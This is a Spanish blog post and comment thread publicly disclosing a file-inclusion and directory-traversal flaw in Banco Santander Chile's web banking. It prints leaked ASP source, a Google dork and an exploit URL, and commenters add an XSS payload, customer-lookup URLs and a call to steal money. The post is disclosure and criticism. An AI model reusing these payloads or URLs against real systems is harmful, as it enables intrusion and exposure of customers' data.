Información Importante Sobre el Contenido
Estas accediendo al contenido antiguo del blog. Este artículo "Acceso al codigo fuente del Banco Santander Chile" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.
Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos “asp” y descargar el archivo, teniendo acceso al codigo fuente del sistema.
Se trata de una vulnerabilidad Local File Include + Directory Traversal = Source Code Disclosure, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.
Lo curioso es que segun el aviso de seguridad oficial del banco santander, hay una empresa “lider” en seguridad informática que les hace auditoría periodica:
Cierto, parece un chiste.
La vulnerabilidad está presente en el archivo “VerRentabilidad.asp”, que sirve para ver la rentabilidad de “algo”. El archivo necesita que se le entregue una variable “Numero”, al cual debemos pasarle especificamente un archivo y será descargado.
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga
nombrePDF=Request("Numero") Archivo= "\Rentabilidad" & nombrePDF ruta=SERVER.MapPath("/transa/productos/fm") & Archivo 'Response.Write ruta 'Response.End if not ValidaArchivo(ruta) then Response.Redirect("InvMostrarError.asp?tipo=F") else objStream.Type = 1 'adtypeBinary objStream.Open objStream.LoadFromFile(ruta) Response.contentType="application/pdf" Response.AddHeader "content-disposition", "inline;filename=" & nombrePDF Response.BinaryWrite objStream.Read Response.Flush ObjStream.Close set objStream=nothing end if
En la línea 01 almacena en la variable “nombrePDF” el valor que le entegamos por URL mediante la variable “Numero”, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.
Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.
Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema
transa/
transa/ErrorDB/
transa/DHS/
transa/solicitud/
transa/include/
transa/Productos/
transa/Productos/include/
transa/preerror.asp
transa/logteclado.asp
transa/FuncBanco.asp
transa/common.asp
transa/cruce.asp
transa/ErrorDB/LogHOB.asp
transa/DHS/Constantes.asp
transa/DHS/DHSFuncs.asp
transa/solicitud/constantes_campana.asp
transa/include/ReadWriteSesion.asp
transa/include/TrampHBFC.asp
transa/include/prodini.asp
transa/Productos/include/ProdMenu.asp
Por ejemplo, ReadWriteSesion.asp:
ub EscribirArchivo(NameArr, Objeto, URL) Dim fecha, path_archivo, linea Dim fs, Fd Application.lock fecha = year(now()) & right("00"&month(now()),2) & right("00"&day(now()),2) path_archivo = left(Application("PATHINICONECT"),7) & "ErrorEstComp" & NameArr & fecha & ".txt" Linea = " URL = " & URL Linea = Linea & " Detalle = " & Objeto linea = fecha&";"& TimeValue(now()) &";" & linea Set fs = CreateObject("Scripting.FileSystemObject") Set fd = fs.OpenTextFile(path_archivo, 8, True, False) fd.WriteLine(linea) fd.close set fs = nothing Application.unlock End Sub Sub ProblemaTecnico session("CARPETACLIENTE") = "" session("rut") = "" session("dig") = "" [...] Function NomSession(Param) ' Compatibiliza Nombres de session antiguos por nuevos Dim RealParam Select Case UCase(Param) Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno" Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno" Case UCase("NombresPNJPE07"): RealParam = "Nombres" Case UCase("subsegmento"): RealParam = "Segmento/subsegmento" Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar" Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento" Case UCase("clasificadas"): RealParam = "cla" Case UCase("IDLogin"): RealParam = "IDL" Case UCase("webmatico"): RealParam = "wbmat" Case UCase("OpcTef"): RealParam = "TipoTef" Case UCase("TipoURL"): RealParam = "Tipo" Case UCase("Op_campana"): RealParam = "Op_camp" Case UCase("Url_campana"): RealParam = "Url_camp" Case UCase("rut"): RealParam = "RUT" Case Else RealParam = Param End Select NomSession = RealParam End function
Otor ejemplo, el archivo cruce.asp:
'**************************** '* Manejo de webmatico '**************************** EsWebMatico = request.Cookies("webmatico") if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then path_inicio = "webkio/bcolinea.asp" path_sinper = "../mensaje.htm" path_error = "preerror.asp" path_cclave = "/transa/Cclave/fclave.asp" path_producto = "productos.asp" EsWebMatico = "si" else path_inicio = SECWEBNAME & "/transa/partida.asp" path_sinper = SECWEBNAME & "/transa/sinpersona.htm" path_error = "preerror.asp" path_cclave = "/transa/Cclave/fclave.asp" path_producto = "productos.asp" EsWebMatico = "no" end if '******** fin webmatico ********* '**************************************************************************** '*** Obtiene Rut y Ping del Cliente ************************************* '**************************************************************************** rut= ucase(trim(Request.Form("rut"))) 'recibe el rut pin= trim(Request.Form("pin")) 'recibe el pin utv= trim(Request.Form("usateclado")) 'recibe el uso de teclado virtual ven= trim(Request.Form("dondeentro")) rslAlto= trim(Request.Form("rslAlto")) 'resolución pantalla browser del cliente rslAncho= trim(Request.Form("rslAncho")) 'resolución pantalla browser del cliente state = 0 if rut <> "" then state = verificador(rut) 'revisa el digito verificador end if '**************************************************************************** If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then 'Si esta todo bien '************************************************************************** '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos *************** '**************************************************************************
Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el sistema de banco mas seguro de latinoamerica.
A todas las personas que lean este artículo:
– El banco santander NO es el mas seguro, probablemente sea el mas inseguro.
– Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.
– El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.
– Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.
– No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.
– Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.
A los encargados de seguridad de los bancos u otras entidades:
– La seguridad no es unicamente enviar emails y dar consejos tipo “no abras links”
– La seguridad de tu institucion no depende de un certificado SSL.
Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:
site:santander.cl inurl:VerRentabilidad
No es necesario estar logueado en el sistema para poder explotarla.
Solo me queda una pregunta… ¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?
Información Importante Sobre el Contenido
Estas accediendo al contenido antiguo del blog. Este artículo "Acceso al codigo fuente del Banco Santander Chile" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.
diciembre 27, 2011 a las 2:22 pm
La voladita…
nótese el comentario del último ejemplo que pones…
El comentario dice:
‘*** Obtiene Rut y Ping del Cliente *********
Para hablar del “pin”
pin= trim(Request.Form(“pin”)) ‘recibe el pin
jajajaja wn’s pencas.
diciembre 27, 2011 a las 2:25 pm
(._.) quede K.O !! no puede ser posible que el diseño de las paginas esten desde el 2006 !!
diciembre 27, 2011 a las 2:39 pm
la cantidad de weas que podi hacer con esto…realmente uno de los bancos mas xanta
diciembre 27, 2011 a las 3:10 pm
El tema es que es no puedes exponer tu codigo fuente es imperdonable
diciembre 27, 2011 a las 3:17 pm
y ya le hiciste saber todos estos fallos al banco?
diciembre 27, 2011 a las 3:22 pm
Hola “rg”, si .. Pero no hay respuesta. Ahora recien, la persona encargada de la empresa que desarrolla el sistema (externa al banco) se esta contactando conmigo … Despues de casi 1 año
diciembre 27, 2011 a las 3:32 pm
Hice la busqueda en site:santander.cl inurl:VerRentabilidad y no sale nada salvo un par de PDF… cual es la vulneravilidad? son documentos informativos.
diciembre 27, 2011 a las 3:32 pm
El problema no es que mientan… el problema es si dicen la verdad, ¿y si este realmente fuera el banco mas seguro de latinoamerica? (¿y los otros fueran peores aun?)
diciembre 27, 2011 a las 3:36 pm
@Rodrigo: Hola! Cambia el nombre de ese PDF y pon uno de un ASP, veras como descargas el archivo ASP con el codigo fuente del sistema 😉
Esa es la vulnerabilidad. ¿Arbitrary File download?
diciembre 27, 2011 a las 3:36 pm
respondiendo a tu pregunta… bueno no estoy seguro pero creo que es SONDA.
diciembre 27, 2011 a las 3:40 pm
Miguel: Sonda? no me sorprenderia…
diciembre 27, 2011 a las 3:41 pm
Perfecto…!
diciembre 27, 2011 a las 3:48 pm
un amigo trabaja para santander, le preguntare. para confirmar.
diciembre 27, 2011 a las 3:50 pm
que buena la vulnerabilidad, parece ser que se dedicaron a los certificados a los links antivirus y demases…
y se les olvido el codigo fuente que mermes
La entidad bancaria mas segura? como sera la peor entonces, no quiero ni saber.
diciembre 27, 2011 a las 4:23 pm
jamas escuche de auditorias de empresas lideres en seguridad, si de practicantes 😛 maldeto outsorsing perdon no lo pude evitar,pero revisando el codigo solo hay una violacion a las normas…. los programadores solo cambian los bloques de codigo que ellos necesitan no necesariamente actualizan fechas y nombres de autores.
diciembre 27, 2011 a las 4:25 pm
Es increíble lo complejo del código para tareas sencillas, lo mezclado que esta la lógica del sistema con la presentación (no hay separación de capas), al menos no parece que esten filtrando el texto (un trim no es filtro :P) para evitar Inyecciones SQL y XSS, y encima ASP apesta. Y les cobran miles de dolares por eso?!
diciembre 27, 2011 a las 4:32 pm
Santander, el banco más grande de Chile. Al parecer estos “gigantes”, entre su tamaño se olvidaron de sus clientes hace mucho tiempo.
diciembre 27, 2011 a las 5:53 pm
Yo creo que la empresa de seguridad lider, debe ser la empresa del hijo o algun familiar o amigo del gerente a cargo del area y asi se hacen ricos los ricos tontos y mas pobres los pobres inteligentes.
Salu2
diciembre 27, 2011 a las 6:02 pm
como comentario extra, si la empresa encargarda del desarrollo y seguridad es SONDA, no me extraña lo penca que son, SONDA es buena para soporte HARDWARE pero lo que es software son pesimos y quedo mas que demostrado cuando el señor lagos les dio el contrato de control de flota del transachantiago cambio de apoyo monetario para su campaña presidencial. El control de flota nunca funciono y hasta el dia de hoy creo que no funciona, pero SONDA recive su pago de todas formas, el señor lagos sigue andan en mercedez pagado con nuestros impuestos y lo unicos que la pasamos mal son los cuidadanos comunes que pagamos todos los nuestros impuestos, disculpar si ofendo a alguien pero esto de las familias del poder en chile ya me tiene gordo, todos los dias vemos como nos ponen el pie ensima y no hacemos nada, para las proximas elecciones voten por independientes para que la corten esos mafiosos de la politica.
Salu2
diciembre 27, 2011 a las 6:11 pm
Se me olvidaba.
Felicitaciones por tu trabajo @Zerial
Sigue adelante con lo que haces, me parece excelente.
diciembre 27, 2011 a las 7:57 pm
Don Zerial, realmente muy ilustrativo, felicitaciones por el trabajo bien hecho, y que entiendo, lo haces solo por diversión.
Tienes algún link por ahi para lectura para los que queremos aprender?
Saludos
diciembre 27, 2011 a las 8:47 pm
Felicitaciones compadre. Este es un blog que sin duda vale la pena leer.
diciembre 27, 2011 a las 9:23 pm
Un LFI en un Banco… cuantas vuln debe tener Santander para que tomen en serio su seguridad y asuman su responsabilidad?, si tienen un problema asumanlo en vez de estar a escondidas arreglando a prueba y error, cuantos clientes deben ser vulnerados,k cuantos informes especiales deben pasar??… (otro xss, este funciona logueado).. https://www.santander.cl/transa/productos/fm/Doctosdisposicionb.asp?codigofondo=%20%2090&texto=“>alert(“XSS”)
diciembre 27, 2011 a las 9:47 pm
Eso sin contar que el Santander te deja tomar PAC/PAT a nombre de otra persona desde su pagina…. Genial!.. (modo ironico on) el nuevo dinero!!!, usa tarjetas!!! es mas seguro!!!.. si seguro…. permitiendo el fraude asi de facil y desde su Web. (modo ironico off)
diciembre 27, 2011 a las 11:09 pm
http://200.68.2.74
diciembre 27, 2011 a las 11:16 pm
http://200.68.2.74 –> Les suena falla de seguridad en Servipag? Y eso que son lideres!!
diciembre 27, 2011 a las 11:56 pm
Y como son chantas van a bloquear las URL una a una con un robots.txt xD
Como si fuera muy difícil ver el archivo para ir directo a la url y descargar lo que necesitemos…
diciembre 28, 2011 a las 12:01 am
La empresa que desarrolla esos sitios es ISBAN ex ALTEC
diciembre 28, 2011 a las 12:13 am
Zerial si necesitas que te haga contacto con la persona indicada para converzar sobre este tema avisame y converzamos, podrias ganarte un buen trabajo en Santander.
diciembre 28, 2011 a las 5:53 am
Parece que ya está solucionado, porque http://www.santander.cl/transa/productos/fm/VerRentabilidad.asp?Numero=transa/include/ReadWriteSesion.asp retorna “sesión expirada”
diciembre 28, 2011 a las 7:46 am
Gracias a todos por sus comentarios y apoyo, esto lo hago para ustedes! Alguien tiene que jugarsela y decir la verdad.
Como dice Anonimo en el comentario de arribita, ya lo solucionaron .. Pero tuvimos que llegar a esto, una publicacion, vista por mas de 3 mil personas, cuestionada por MUCHOS usuarios, muchos clientes desconformes.. recien ahora lo solucionan. No se porque pero no me sorprende…
diciembre 28, 2011 a las 8:24 am
Zerial / exploit-shell increible, pude confirmar lo del LFI y ahora que veo lo del PAC / PAT es impresionante, pude ver los PAT de otra persona incluso podia asignarle un nuevo PAT sin necesitar su codigo de verificaciòn. Impresentable que el Banco Santander permita este tipo de robo de dinero a sus clientes.
diciembre 28, 2011 a las 9:21 am
Quizás porque no tenían ni idea del fallo, y hubo que comunicárselo?? No se a quién lo reportaste tú, pero parece ser que no les llegó. Y tu blog como comprenderás no es un periódico que llega a todo el mundo.
Me gustaría que muchos auditores, se dedicasen a programar y a desarrollar. Encontrar vulnerabilidades es una tontería. Sólo hay que tener tiempo libre.
diciembre 28, 2011 a las 9:30 am
Hola Anonimo, yo soy desarrollador 🙂
ah, otra cosa, te invito a entrar a santander.cl y buscar una forma de contacto para reportar fallas, si la encurentras me avisas.. yo hasta contacte con una ejecutiva de cuentas. si no les llego la informacion a la empresa desarrolladora es problema de procedimientos, quiere decir que no tienen ningun estandar ni politica de seguridad de la informacion o informatica.
si piensas que es una tonteria encontrar vulnerabilidades, ok, entonces somos unos tontos? 🙂
diciembre 28, 2011 a las 10:17 am
que ñoños…. todo el dia en el pc….. los normales, no entendemos de estas weas… ñoños culiaos.. mejor será de que ocupen sus conocimientos, le saquen plata a estos weones.- y los depositen en las cuentas de ANDHA Chile…..
diciembre 28, 2011 a las 11:03 am
Los normales??? perdón pero no te incluyas en esa categoría, insultando a quienes te quieren ayudar.
Incitando al robo y más encima pidiendo plata para esos patudos de mierda de andha…mira, una lata que no puedan pagar su casa, pero eso NO es culpa del resto ni del gobierno…y para ti :
Chúpalo aweonao, anda a comentar a otra parte, si no entiendes de estas weas vírate, anda a lavarte la raja. Y eso que ando tranquilo.
diciembre 28, 2011 a las 11:19 am
Muy buen articulo compadre…se ve el tiempo y dedicacion a tu labor o mas bien a tu hobby (jajaj)
como dice Anonimo ” Sólo hay que tener tiempo libre” (hacer nada??)toda la razon pero uno le pone precio y valor a su tiempo.. tu lo ocupás y lo dedicas aprendiendo y investigando el resultadno esta a la vista .. si ademas cre q “Encontrar vulnerabilidades es una tontería” podriamos dejarlo invitado a que se una a los “tontos” y busque una falla y nos la comunique.
diciembre 28, 2011 a las 12:07 pm
LA EMPRESA SE LLAMA NEOSECURE
diciembre 28, 2011 a las 12:13 pm
Excelente zerial como siempre, es increible a lo que estan expuestos el “nomal” de las personas en cosas que no tienen ni idea que existen y confian en 100% en sus entidades bancarias.
Saludos.
diciembre 28, 2011 a las 6:51 pm
wow… la empresa que hizo ese Script en particular creo que fue TaisaChile : http://www.taisachile.cl/?page_id=16.
HinferNal esta usted en su derecho de no visitar mas es blog.
Saludos Zerial.
diciembre 28, 2011 a las 7:18 pm
Reconozco el merito en lo que has hecho al detectar vulnerabilidades críticas que afectan a los clientes y que tu intención es lograr una web más segura. Ahora tambien debes reconocer que eres un poco irresponsable al hablar de los proveedores del banco, puesto que no conoces quienes o cuantos son. Solo te basas en un fuente creado hace años que puede tener cambios hasta el dia de hoy por muchos proveedores .
diciembre 28, 2011 a las 8:13 pm
Parece que hay aca gente “anonima” xD del Santander o de los proveedores y se sienten despechados en vez de hacer bien su trabajo.
diciembre 28, 2011 a las 11:36 pm
Brígido esto, no me sorprendería que fueran estas simples empresas que se hacen llamar líderes como dicen más arriba “SONDA” de la mano del gran nerd con Stark. El problema yo creo que es simplemente en mentir y más encima salir pillado.
Ahora, hace rato que venía escuchando que Santander no modifica sus base de datos desde 2006 y más encima no ha cambiado diseño nada. Entonces, qué nos queda, capacito que también tengan alojado el server en uno gratuito jajajajá.
Un saludo para Santander y a todas las cuentas!
diciembre 29, 2011 a las 1:36 am
ASP compadres! aunque diría que el error principal radica en la arquitectura, aunque el código de programación te permitiera no validar nada, obtener archivos debiera ser imposible sin mantener una sesión abierta … nuevamente ASP ! con apache cierras los accesos, generas directorios divididos, etc, etc. etc… vean la página de scotiabank, esa tiene una vulnerabilidad de sesión impresionante, las sesiones no caducan en el cliente y son recuperables. Hasta ahora el banco más atadoso y confiable en su página web, al menos para mi es BCI.
diciembre 29, 2011 a las 8:38 am
El Santander simplemente no cuida a sus clientes, por ejemplo con esta URL puedes saber si un RUT pertenece es cliente del Santander o no: http://www.santander.cl/simuladores/credito_consumo/get_user.asp?rut=111111111
diciembre 29, 2011 a las 8:55 am
Otro ejemplo, con esta URL puedes saber por cuanta plata le daria credito el Santander, solo cambia el RUT para saber el monto de crédito, de esta forma puedes estimar cuan riesgoso es el cliente del santander: http://www.santander.cl/serv_raspe.asp?d_rut=111111111
diciembre 29, 2011 a las 9:06 am
xzite: Gracias por la contribucion.
Es muy comun que no se valen esas peticiones por ajax a “escondidas” que hacen los sistemas para validar o autocompletar datos, es cosa de interceptar las llamadas GET o POST que hay cuando ingresas al sitio y podemos encontrar muchas cosas como estas…
diciembre 29, 2011 a las 9:12 am
Entonces, los bancos deberían tratar de evitar el uso de ajax?
Que sería mejor en tu opinion? Si hacer una llamada ajax y devolver una plantilla o devolver un JSON con datos de respuesta?
diciembre 29, 2011 a las 9:15 am
jchacana: Hola! AJAX sirve … usar webservice, usar json, etc etc… pero hay que usar SESIONES y validar parametros! No porque estan “escondidos” el usuario no los encontrara… SI al final, se ajax o no, el request sale desde tu navegador.
No puede ser que cualquier persona pueda llamarlos ..